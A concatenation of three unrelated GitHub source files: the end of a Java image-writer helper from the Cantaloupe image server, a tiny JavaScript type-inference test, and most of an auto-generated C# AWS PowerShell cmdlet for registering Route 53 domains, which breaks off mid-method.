* edu.illinois.library.cantaloupe.processor.codec.jpeg.TurboJPEGImageWriter}
* is used if TurboJPEG is available and if writing to a JPEG; otherwise an
* {@link edu.illinois.library.cantaloupe.processor.codec.ImageWriter} is
* used.
*/
public static void write(BufferedImage image,
Encode encode,
OutputStream outputStream) throws IOException {
if (Format.get("jpg").equals(encode.getFormat()) &&
TurboJPEGImageWriter.isTurboJPEGAvailable()) {
LOGGER.debug("Writing with {}",
TurboJPEGImageWriter.class.getName());
TurboJPEGImageWriter writer = new TurboJPEGImageWriter();
writer.setProgressive(encode.isInterlacing());
writer.setQuality(encode.getQuality());
Metadata metadata = encode.getMetadata();
if (metadata != null) {
metadata.getXMP().ifPresent(writer::setXMP);
}
writer.write(image, outputStream);
} else {
ImageWriter writer = new ImageWriterFactory().newImageWriter(encode);
LOGGER.debug("Writing with {}", writer.getClass().getName());
writer.write(image, outputStream);
}
}
/**
* Writes the given already-processed image sequence to the given stream
* using an {@link
* edu.illinois.library.cantaloupe.processor.codec.ImageWriter}.
*/
public static void write(BufferedImageSequence sequence,
Encode encode,
OutputStream outputStream) throws IOException {
ImageWriter writer = new ImageWriterFactory().newImageWriter(encode);
LOGGER.debug("Writing with {}", writer.getClass().getName());
writer.write(sequence, outputStream);
}
private ImageWriterFacade() {}
}
| {
"pile_set_name": "Github"
} |
var x = new Type();
x.foo; //: string
function Type() {}
Type.prototype.foo = "hi";
| {
"pile_set_name": "Github"
} |
/*******************************************************************************
* Copyright 2012-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use
* this file except in compliance with the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file.
* This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
* *****************************************************************************
*
* AWS Tools for Windows (TM) PowerShell (TM)
*
*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management.Automation;
using System.Text;
using Amazon.PowerShell.Common;
using Amazon.Runtime;
using Amazon.Route53Domains;
using Amazon.Route53Domains.Model;
namespace Amazon.PowerShell.Cmdlets.R53D
{
/// <summary>
/// This operation registers a domain. Domains are registered either by Amazon Registrar
/// (for .com, .net, and .org domains) or by our registrar associate, Gandi (for all other
/// domains). For some top-level domains (TLDs), this operation requires extra parameters.
///
///
/// <para>
/// When you register a domain, Amazon Route 53 does the following:
/// </para><ul><li><para>
/// Creates a Route 53 hosted zone that has the same name as the domain. Route 53 assigns
/// four name servers to your hosted zone and automatically updates your domain registration
/// with the names of these name servers.
/// </para></li><li><para>
/// Enables autorenew, so your domain registration will renew automatically each year.
/// We'll notify you in advance of the renewal date so you can choose whether to renew
/// the registration.
/// </para></li><li><para>
/// Optionally enables privacy protection, so WHOIS queries return contact information
/// either for Amazon Registrar (for .com, .net, and .org domains) or for our registrar
/// associate, Gandi (for all other TLDs). If you don't enable privacy protection, WHOIS
/// queries return the information that you entered for the registrant, admin, and tech
/// contacts.
/// </para></li><li><para>
/// If registration is successful, returns an operation ID that you can use to track the
/// progress and completion of the action. If the request is not completed successfully,
/// the domain registrant is notified by email.
/// </para></li><li><para>
/// Charges your AWS account an amount based on the top-level domain. For more information,
/// see <a href="http://aws.amazon.com/route53/pricing/">Amazon Route 53 Pricing</a>.
/// </para></li></ul>
/// </summary>
[Cmdlet("Register", "R53DDomain", SupportsShouldProcess = true, ConfirmImpact = ConfirmImpact.Medium)]
[OutputType("System.String")]
[AWSCmdlet("Calls the Amazon Route 53 Domains RegisterDomain API operation.", Operation = new[] {"RegisterDomain"}, SelectReturnType = typeof(Amazon.Route53Domains.Model.RegisterDomainResponse))]
[AWSCmdletOutput("System.String or Amazon.Route53Domains.Model.RegisterDomainResponse",
"This cmdlet returns a System.String object.",
"The service call response (type Amazon.Route53Domains.Model.RegisterDomainResponse) can also be referenced from properties attached to the cmdlet entry in the $AWSHistory stack."
)]
public partial class RegisterR53DDomainCmdlet : AmazonRoute53DomainsClientCmdlet, IExecutor
{
#region Parameter AdminContact_AddressLine1
/// <summary>
/// <para>
/// <para>First line of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_AddressLine1 { get; set; }
#endregion
#region Parameter RegistrantContact_AddressLine1
/// <summary>
/// <para>
/// <para>First line of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_AddressLine1 { get; set; }
#endregion
#region Parameter TechContact_AddressLine1
/// <summary>
/// <para>
/// <para>First line of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_AddressLine1 { get; set; }
#endregion
#region Parameter AdminContact_AddressLine2
/// <summary>
/// <para>
/// <para>Second line of contact's address, if any.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_AddressLine2 { get; set; }
#endregion
#region Parameter RegistrantContact_AddressLine2
/// <summary>
/// <para>
/// <para>Second line of contact's address, if any.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_AddressLine2 { get; set; }
#endregion
#region Parameter TechContact_AddressLine2
/// <summary>
/// <para>
/// <para>Second line of contact's address, if any.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_AddressLine2 { get; set; }
#endregion
#region Parameter AutoRenew
/// <summary>
/// <para>
/// <para>Indicates whether the domain will be automatically renewed (<code>true</code>) or
/// not (<code>false</code>). Autorenewal only takes effect after the account is charged.</para><para>Default: <code>true</code></para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.Boolean? AutoRenew { get; set; }
#endregion
#region Parameter AdminContact_City
/// <summary>
/// <para>
/// <para>The city of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_City { get; set; }
#endregion
#region Parameter RegistrantContact_City
/// <summary>
/// <para>
/// <para>The city of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_City { get; set; }
#endregion
#region Parameter TechContact_City
/// <summary>
/// <para>
/// <para>The city of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_City { get; set; }
#endregion
#region Parameter AdminContact_ContactType
/// <summary>
/// <para>
/// <para>Indicates whether the contact is a person, company, association, or public organization.
/// Note the following:</para><ul><li><para>If you specify a value other than <code>PERSON</code>, you must also specify a value
/// for <code>OrganizationName</code>.</para></li><li><para>For some TLDs, the privacy protection available depends on the value that you specify
/// for <code>Contact Type</code>. For the privacy protection settings for your TLD, see
/// <a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/registrar-tld-list.html">Domains
/// that You Can Register with Amazon Route 53</a> in the <i>Amazon Route 53 Developer
/// Guide</i></para></li><li><para>For .es domains, if you specify <code>PERSON</code>, you must specify <code>INDIVIDUAL</code>
/// for the value of <code>ES_LEGAL_FORM</code>.</para></li></ul>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[AWSConstantClassSource("Amazon.Route53Domains.ContactType")]
public Amazon.Route53Domains.ContactType AdminContact_ContactType { get; set; }
#endregion
#region Parameter RegistrantContact_ContactType
/// <summary>
/// <para>
/// <para>Indicates whether the contact is a person, company, association, or public organization.
/// Note the following:</para><ul><li><para>If you specify a value other than <code>PERSON</code>, you must also specify a value
/// for <code>OrganizationName</code>.</para></li><li><para>For some TLDs, the privacy protection available depends on the value that you specify
/// for <code>Contact Type</code>. For the privacy protection settings for your TLD, see
/// <a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/registrar-tld-list.html">Domains
/// that You Can Register with Amazon Route 53</a> in the <i>Amazon Route 53 Developer
/// Guide</i></para></li><li><para>For .es domains, if you specify <code>PERSON</code>, you must specify <code>INDIVIDUAL</code>
/// for the value of <code>ES_LEGAL_FORM</code>.</para></li></ul>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[AWSConstantClassSource("Amazon.Route53Domains.ContactType")]
public Amazon.Route53Domains.ContactType RegistrantContact_ContactType { get; set; }
#endregion
#region Parameter TechContact_ContactType
/// <summary>
/// <para>
/// <para>Indicates whether the contact is a person, company, association, or public organization.
/// Note the following:</para><ul><li><para>If you specify a value other than <code>PERSON</code>, you must also specify a value
/// for <code>OrganizationName</code>.</para></li><li><para>For some TLDs, the privacy protection available depends on the value that you specify
/// for <code>Contact Type</code>. For the privacy protection settings for your TLD, see
/// <a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/registrar-tld-list.html">Domains
/// that You Can Register with Amazon Route 53</a> in the <i>Amazon Route 53 Developer
/// Guide</i></para></li><li><para>For .es domains, if you specify <code>PERSON</code>, you must specify <code>INDIVIDUAL</code>
/// for the value of <code>ES_LEGAL_FORM</code>.</para></li></ul>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[AWSConstantClassSource("Amazon.Route53Domains.ContactType")]
public Amazon.Route53Domains.ContactType TechContact_ContactType { get; set; }
#endregion
#region Parameter AdminContact_CountryCode
/// <summary>
/// <para>
/// <para>Code for the country of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[AWSConstantClassSource("Amazon.Route53Domains.CountryCode")]
public Amazon.Route53Domains.CountryCode AdminContact_CountryCode { get; set; }
#endregion
#region Parameter RegistrantContact_CountryCode
/// <summary>
/// <para>
/// <para>Code for the country of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[AWSConstantClassSource("Amazon.Route53Domains.CountryCode")]
public Amazon.Route53Domains.CountryCode RegistrantContact_CountryCode { get; set; }
#endregion
#region Parameter TechContact_CountryCode
/// <summary>
/// <para>
/// <para>Code for the country of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[AWSConstantClassSource("Amazon.Route53Domains.CountryCode")]
public Amazon.Route53Domains.CountryCode TechContact_CountryCode { get; set; }
#endregion
#region Parameter DomainName
/// <summary>
/// <para>
/// <para>The domain name that you want to register. The top-level domain (TLD), such as .com,
/// must be a TLD that Route 53 supports. For a list of supported TLDs, see <a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/registrar-tld-list.html">Domains
/// that You Can Register with Amazon Route 53</a> in the <i>Amazon Route 53 Developer
/// Guide</i>.</para><para>The domain name can contain only the following characters:</para><ul><li><para>Letters a through z. Domain names are not case sensitive.</para></li><li><para>Numbers 0 through 9.</para></li><li><para>Hyphen (-). You can't specify a hyphen at the beginning or end of a label. </para></li><li><para>Period (.) to separate the labels in the name, such as the <code>.</code> in <code>example.com</code>.</para></li></ul><para>Internationalized domain names are not supported for some top-level domains. To determine
/// whether the TLD that you want to use supports internationalized domain names, see
/// <a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/registrar-tld-list.html">Domains
/// that You Can Register with Amazon Route 53</a>. For more information, see <a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/DomainNameFormat.html#domain-name-format-idns">Formatting
/// Internationalized Domain Names</a>. </para>
/// </para>
/// </summary>
#if !MODULAR
[System.Management.Automation.Parameter(Position = 0, ValueFromPipelineByPropertyName = true, ValueFromPipeline = true)]
#else
[System.Management.Automation.Parameter(Position = 0, ValueFromPipelineByPropertyName = true, ValueFromPipeline = true, Mandatory = true)]
[System.Management.Automation.AllowEmptyString]
[System.Management.Automation.AllowNull]
#endif
[Amazon.PowerShell.Common.AWSRequiredParameter]
public System.String DomainName { get; set; }
#endregion
#region Parameter DurationInYears
/// <summary>
/// <para>
/// <para>The number of years that you want to register the domain for. Domains are registered
/// for a minimum of one year. The maximum period depends on the top-level domain. For
/// the range of valid values for your domain, see <a href="https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/registrar-tld-list.html">Domains
/// that You Can Register with Amazon Route 53</a> in the <i>Amazon Route 53 Developer
/// Guide</i>.</para><para>Default: 1</para>
/// </para>
/// </summary>
#if !MODULAR
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
#else
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true, Mandatory = true)]
[System.Management.Automation.AllowNull]
#endif
[Amazon.PowerShell.Common.AWSRequiredParameter]
public System.Int32? DurationInYears { get; set; }
#endregion
#region Parameter AdminContact_Email
/// <summary>
/// <para>
/// <para>Email address of the contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_Email { get; set; }
#endregion
#region Parameter RegistrantContact_Email
/// <summary>
/// <para>
/// <para>Email address of the contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_Email { get; set; }
#endregion
#region Parameter TechContact_Email
/// <summary>
/// <para>
/// <para>Email address of the contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_Email { get; set; }
#endregion
#region Parameter AdminContact_ExtraParam
/// <summary>
/// <para>
/// <para>A list of name-value pairs for parameters required by certain top-level domains.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[Alias("AdminContact_ExtraParams")]
public Amazon.Route53Domains.Model.ExtraParam[] AdminContact_ExtraParam { get; set; }
#endregion
#region Parameter RegistrantContact_ExtraParam
/// <summary>
/// <para>
/// <para>A list of name-value pairs for parameters required by certain top-level domains.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[Alias("RegistrantContact_ExtraParams")]
public Amazon.Route53Domains.Model.ExtraParam[] RegistrantContact_ExtraParam { get; set; }
#endregion
#region Parameter TechContact_ExtraParam
/// <summary>
/// <para>
/// <para>A list of name-value pairs for parameters required by certain top-level domains.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
[Alias("TechContact_ExtraParams")]
public Amazon.Route53Domains.Model.ExtraParam[] TechContact_ExtraParam { get; set; }
#endregion
#region Parameter AdminContact_Fax
/// <summary>
/// <para>
/// <para>Fax number of the contact.</para><para>Constraints: Phone number must be specified in the format "+[country dialing code].[number
/// including any area code]". For example, a US phone number might appear as <code>"+1.1234567890"</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_Fax { get; set; }
#endregion
#region Parameter RegistrantContact_Fax
/// <summary>
/// <para>
/// <para>Fax number of the contact.</para><para>Constraints: Phone number must be specified in the format "+[country dialing code].[number
/// including any area code]". For example, a US phone number might appear as <code>"+1.1234567890"</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_Fax { get; set; }
#endregion
#region Parameter TechContact_Fax
/// <summary>
/// <para>
/// <para>Fax number of the contact.</para><para>Constraints: Phone number must be specified in the format "+[country dialing code].[number
/// including any area code]". For example, a US phone number might appear as <code>"+1.1234567890"</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_Fax { get; set; }
#endregion
#region Parameter AdminContact_FirstName
/// <summary>
/// <para>
/// <para>First name of contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_FirstName { get; set; }
#endregion
#region Parameter RegistrantContact_FirstName
/// <summary>
/// <para>
/// <para>First name of contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_FirstName { get; set; }
#endregion
#region Parameter TechContact_FirstName
/// <summary>
/// <para>
/// <para>First name of contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_FirstName { get; set; }
#endregion
#region Parameter IdnLangCode
/// <summary>
/// <para>
/// <para>Reserved for future use.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String IdnLangCode { get; set; }
#endregion
#region Parameter AdminContact_LastName
/// <summary>
/// <para>
/// <para>Last name of contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_LastName { get; set; }
#endregion
#region Parameter RegistrantContact_LastName
/// <summary>
/// <para>
/// <para>Last name of contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_LastName { get; set; }
#endregion
#region Parameter TechContact_LastName
/// <summary>
/// <para>
/// <para>Last name of contact.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_LastName { get; set; }
#endregion
#region Parameter AdminContact_OrganizationName
/// <summary>
/// <para>
/// <para>Name of the organization for contact types other than <code>PERSON</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_OrganizationName { get; set; }
#endregion
#region Parameter RegistrantContact_OrganizationName
/// <summary>
/// <para>
/// <para>Name of the organization for contact types other than <code>PERSON</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_OrganizationName { get; set; }
#endregion
#region Parameter TechContact_OrganizationName
/// <summary>
/// <para>
/// <para>Name of the organization for contact types other than <code>PERSON</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_OrganizationName { get; set; }
#endregion
#region Parameter AdminContact_PhoneNumber
/// <summary>
/// <para>
/// <para>The phone number of the contact.</para><para>Constraints: Phone number must be specified in the format "+[country dialing code].[number
/// including any area code>]". For example, a US phone number might appear as <code>"+1.1234567890"</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_PhoneNumber { get; set; }
#endregion
#region Parameter RegistrantContact_PhoneNumber
/// <summary>
/// <para>
/// <para>The phone number of the contact.</para><para>Constraints: Phone number must be specified in the format "+[country dialing code].[number
/// including any area code>]". For example, a US phone number might appear as <code>"+1.1234567890"</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_PhoneNumber { get; set; }
#endregion
#region Parameter TechContact_PhoneNumber
/// <summary>
/// <para>
/// <para>The phone number of the contact.</para><para>Constraints: Phone number must be specified in the format "+[country dialing code].[number
/// including any area code>]". For example, a US phone number might appear as <code>"+1.1234567890"</code>.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_PhoneNumber { get; set; }
#endregion
#region Parameter PrivacyProtectAdminContact
/// <summary>
/// <para>
/// <para>Whether you want to conceal contact information from WHOIS queries. If you specify
/// <code>true</code>, WHOIS ("who is") queries return contact information either for
/// Amazon Registrar (for .com, .net, and .org domains) or for our registrar associate,
/// Gandi (for all other TLDs). If you specify <code>false</code>, WHOIS queries return
/// the information that you entered for the admin contact.</para><para>Default: <code>true</code></para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.Boolean? PrivacyProtectAdminContact { get; set; }
#endregion
#region Parameter PrivacyProtectRegistrantContact
/// <summary>
/// <para>
/// <para>Whether you want to conceal contact information from WHOIS queries. If you specify
/// <code>true</code>, WHOIS ("who is") queries return contact information either for
/// Amazon Registrar (for .com, .net, and .org domains) or for our registrar associate,
/// Gandi (for all other TLDs). If you specify <code>false</code>, WHOIS queries return
/// the information that you entered for the registrant contact (the domain owner).</para><para>Default: <code>true</code></para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.Boolean? PrivacyProtectRegistrantContact { get; set; }
#endregion
#region Parameter PrivacyProtectTechContact
/// <summary>
/// <para>
/// <para>Whether you want to conceal contact information from WHOIS queries. If you specify
/// <code>true</code>, WHOIS ("who is") queries return contact information either for
/// Amazon Registrar (for .com, .net, and .org domains) or for our registrar associate,
/// Gandi (for all other TLDs). If you specify <code>false</code>, WHOIS queries return
/// the information that you entered for the technical contact.</para><para>Default: <code>true</code></para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.Boolean? PrivacyProtectTechContact { get; set; }
#endregion
#region Parameter AdminContact_State
/// <summary>
/// <para>
/// <para>The state or province of the contact's city.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_State { get; set; }
#endregion
#region Parameter RegistrantContact_State
/// <summary>
/// <para>
/// <para>The state or province of the contact's city.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_State { get; set; }
#endregion
#region Parameter TechContact_State
/// <summary>
/// <para>
/// <para>The state or province of the contact's city.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_State { get; set; }
#endregion
#region Parameter AdminContact_ZipCode
/// <summary>
/// <para>
/// <para>The zip or postal code of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String AdminContact_ZipCode { get; set; }
#endregion
#region Parameter RegistrantContact_ZipCode
/// <summary>
/// <para>
/// <para>The zip or postal code of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String RegistrantContact_ZipCode { get; set; }
#endregion
#region Parameter TechContact_ZipCode
/// <summary>
/// <para>
/// <para>The zip or postal code of the contact's address.</para>
/// </para>
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public System.String TechContact_ZipCode { get; set; }
#endregion
#region Parameter Select
/// <summary>
/// Use the -Select parameter to control the cmdlet output. The default value is 'OperationId'.
/// Specifying -Select '*' will result in the cmdlet returning the whole service response (Amazon.Route53Domains.Model.RegisterDomainResponse).
/// Specifying the name of a property of type Amazon.Route53Domains.Model.RegisterDomainResponse will result in that property being returned.
/// Specifying -Select '^ParameterName' will result in the cmdlet returning the selected cmdlet parameter value.
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public string Select { get; set; } = "OperationId";
#endregion
#region Parameter PassThru
/// <summary>
/// Changes the cmdlet behavior to return the value passed to the DomainName parameter.
/// The -PassThru parameter is deprecated, use -Select '^DomainName' instead. This parameter will be removed in a future version.
/// </summary>
[System.Obsolete("The -PassThru parameter is deprecated, use -Select '^DomainName' instead. This parameter will be removed in a future version.")]
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public SwitchParameter PassThru { get; set; }
#endregion
#region Parameter Force
/// <summary>
/// This parameter overrides confirmation prompts to force
/// the cmdlet to continue its operation. This parameter should always
/// be used with caution.
/// </summary>
[System.Management.Automation.Parameter(ValueFromPipelineByPropertyName = true)]
public SwitchParameter Force { get; set; }
#endregion
protected override void ProcessRecord()
{
base.ProcessRecord();
var resourceIdentifiersText = FormatParameterValuesForConfirmationMsg(nameof(this.DomainName), MyInvocation.BoundParameters);
if (!ConfirmShouldProceed(this.Force.IsPresent, resourceIdentifiersText, "Register-R53DDomain (RegisterDomain)"))
{
return;
}
var context = new CmdletContext();
// allow for manipulation of parameters prior to loading into context
PreExecutionContextLoad(context);
#pragma warning disable CS0618, CS0612 //A class member was marked with the Obsolete attribute
if (ParameterWasBound(nameof(this.Select)))
{
context.Select = CreateSelectDelegate<Amazon.Route53Domains.Model.RegisterDomainResponse, RegisterR53DDomainCmdlet>(Select) ??
throw new System.ArgumentException("Invalid value for -Select parameter.", nameof(this.Select));
if (this.PassThru.IsPresent)
{
throw new System.ArgumentException("-PassThru cannot be used when -Select is specified.", nameof(this.Select));
}
}
else if (this.PassThru.IsPresent)
{
context.Select = (response, cmdlet) => this.DomainName;
}
#pragma warning restore CS0618, CS0612 //A class member was marked with the Obsolete attribute
context.AdminContact_AddressLine1 = this.AdminContact_AddressLine1;
context.AdminContact_AddressLine2 = this.AdminContact_AddressLine2;
context.AdminContact_City = this.AdminContact_City;
context.AdminContact_ContactType = this.AdminContact_ContactType;
context.AdminContact_CountryCode = this.AdminContact_CountryCode;
context.AdminContact_Email = this.AdminContact_Email;
if (this.AdminContact_ExtraParam != null)
{
context.AdminContact_ExtraParam = new List<Amazon.Route53Domains.Model.ExtraParam>(this.AdminContact_ExtraParam);
}
context.AdminContact_Fax = this.AdminContact_Fax;
context.AdminContact_FirstName = this.AdminContact_FirstName;
context.AdminContact_LastName = this.AdminContact_LastName;
context.AdminContact_OrganizationName = this.AdminContact_OrganizationName;
context.AdminContact_PhoneNumber = this.AdminContact_PhoneNumber;
context.AdminContact_State = this.AdminContact_State;
context.AdminContact_ZipCode = this.AdminContact_ZipCode;
context.AutoRenew = this.AutoRenew;
context.DomainName = this.DomainName;
#if MODULAR
if (this.DomainName == null && ParameterWasBound(nameof(this.DomainName)))
{
WriteWarning("You are passing $null as a value for parameter DomainName which is marked as required. In case you believe this parameter was incorrectly marked as required, report this by opening an issue at https://github.com/aws/aws-tools-for-powershell/issues.");
}
#endif
context.DurationInYears = this.DurationInYears;
#if MODULAR
if (this.DurationInYears == null && ParameterWasBound(nameof(this.DurationInYears)))
{
WriteWarning("You are passing $null as a value for parameter DurationInYears which is marked as required. In case you believe this parameter was incorrectly marked as required, report this by opening an issue at https://github.com/aws/aws-tools-for-powershell/issues.");
}
#endif
context.IdnLangCode = this.IdnLangCode;
context.PrivacyProtectAdminContact = this.PrivacyProtectAdminContact;
context.PrivacyProtectRegistrantContact = this.PrivacyProtectRegistrantContact;
context.PrivacyProtectTechContact = this.PrivacyProtectTechContact;
context.RegistrantContact_AddressLine1 = this.RegistrantContact_AddressLine1;
context.RegistrantContact_AddressLine2 = this.RegistrantContact_AddressLine2;
context.RegistrantContact_City = this.RegistrantContact_City;
context.RegistrantContact_ContactType = this.RegistrantContact_ContactType;
context.RegistrantContact_CountryCode = this.RegistrantContact_CountryCode;
context.RegistrantContact_Email = this.RegistrantContact_Email;
if (this.RegistrantContact_ExtraParam != null)
{
context.RegistrantContact_ExtraParam = new List<Amazon.Route53Domains.Model.ExtraParam>(this.RegistrantContact_ExtraParam);
}
context.RegistrantContact_Fax = this.RegistrantContact_Fax;
context.RegistrantContact_FirstName = this.RegistrantContact_FirstName;
context.RegistrantContact_LastName = this.RegistrantContact_LastName;
context.RegistrantContact_OrganizationName = this.RegistrantContact_OrganizationName;
context.RegistrantContact_PhoneNumber = this.RegistrantContact_PhoneNumber;
context.RegistrantContact_State = this.RegistrantContact_State;
context.RegistrantContact_ZipCode = this.RegistrantContact_ZipCode;
context.TechContact_AddressLine1 = this.TechContact_AddressLine1;
context.TechContact_AddressLine2 = this.TechContact_AddressLine2;
context.TechContact_City = this.TechContact_City;
context.TechContact_ContactType = this.TechContact_ContactType;
context.TechContact_CountryCode = this.TechContact_CountryCode;
context.TechContact_Email = this.TechContact_Email;
if (this.TechContact_ExtraParam != null)
{
context.TechContact_ExtraParam = new List<Amazon.Route53Domains.Model.ExtraParam>(this.TechContact_ExtraParam);
}
context.TechContact_Fax = this.TechContact_Fax;
context.TechContact_FirstName = this.TechContact_FirstName;
context.TechContact_LastName = this.TechContact_LastName;
context.TechContact_OrganizationName = this.TechContact_OrganizationName;
context.TechContact_PhoneNumber = this.TechContact_PhoneNumber;
context.TechContact_State = this.TechContact_State;
context.TechContact_ZipCode = this.TechContact_ZipCode;
// allow further manipulation of loaded context prior to processing
PostExecutionContextLoad(context);
var output = Execute(context) as CmdletOutput;
ProcessOutput(output);
}
#region IExecutor Members
public object Execute(ExecutorContext context)
{
var cmdletContext = context as CmdletContext;
// create request
var request = new Amazon.Route53Domains.Model.RegisterDomainRequest();
// populate AdminContact
var requestAdminContactIsNull = true;
request.AdminContact = new Amazon.Route53Domains.Model.ContactDetail();
System.String requestAdminContact_adminContact_AddressLine1 = null;
if (cmdletContext.AdminContact_AddressLine1 != null)
{
requestAdminContact_adminContact_AddressLine1 = cmdletContext.AdminContact_AddressLine1;
}
if (requestAdminContact_adminContact_AddressLine1 != null)
{
request.AdminContact.AddressLine1 = requestAdminContact_adminContact_AddressLine1;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_AddressLine2 = null;
if (cmdletContext.AdminContact_AddressLine2 != null)
{
requestAdminContact_adminContact_AddressLine2 = cmdletContext.AdminContact_AddressLine2;
}
if (requestAdminContact_adminContact_AddressLine2 != null)
{
request.AdminContact.AddressLine2 = requestAdminContact_adminContact_AddressLine2;
requestAdminContactIsNull = false;
}
System.String requestAdminContact_adminContact_City = null;
if (cmdletContext.AdminContact_City != null)
{
requestAdminContact_adminContact_City = cmdletContext.AdminContact_City;
}
if (requestAdminContact_adminContact_City != null)
{
request.AdminContact.City = requestAdminContact_adminContact_City;
requestAdminContactIsNull = false;
}
